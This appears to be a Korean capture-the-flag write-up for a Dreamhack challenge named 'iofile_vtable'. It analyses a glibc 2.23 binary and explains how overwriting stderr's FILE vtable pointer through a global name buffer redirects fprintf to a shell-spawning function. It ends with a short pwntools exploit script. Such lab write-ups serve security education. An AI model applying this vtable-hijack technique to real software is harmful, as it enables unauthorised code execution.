[DH] iofile_vtable
Writeup
2025. 7. 29.
Ubuntu 16.04
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
launchpad를 통해 glibc 버전이 2.23임을 확인할 수 있다.
분석 (바이너리)
주어진 바이너리를 실행시키면 사용자로부터 8바이트 입력을 받아 global varible에 저장하고, print, error, read, chance 옵션을 출력한다.
print
옵션은 "good"을 printf한다.error
옵션은 "ERROR"을 stderr로 fprintf한다.read
옵션은 stdin으로 fgetc한다.chance
옵션은 stdin으로부터 8바이트를 읽고 stderr+1에 저장한다.
이론
이 글에서 FSOP에 대해 정리했다.
분석 (구조)
stderr+1
이 무엇을 가리키는지 알 필요가 있다.
GDB를 통해 확인해 보면 stderr
에 0xD8
만큼의 오프셋을 더한 주소를 가리킨다. 즉, vtable을 가리킨다.
Note:
stderr
은FILE
구조체이므로stderr + 1
은stderr
의 주소에서sizeof(FILE)
만큼 더한 주소를 의미한다. 그리고 그것은 곧stderr
의*vtable
을 가리킨다.
따라서 입력값으로 vtable
의 주소를 변경할 수 있다!
마침 초기에 name
을 입력하는 곳이 있으니 name
에 win
함수의 주소를 넣고 vtable
이 name
을 가리키도록 하자.
이때, 주의할 점은 이후 error
옵션을 통해서 fprintf
를 호출할 때 win
이 실행되기는 원하므로 vtable의 0x38
offset이 win
을 가리키도록 해야 한다.
Solution
shell = 0x0040094A
name = 0x006010D0
p = connect()
p.send(p64(shell))
p.sendline(b"4")
p.send(p64(name - 0x38))
p.interactive()
p.close()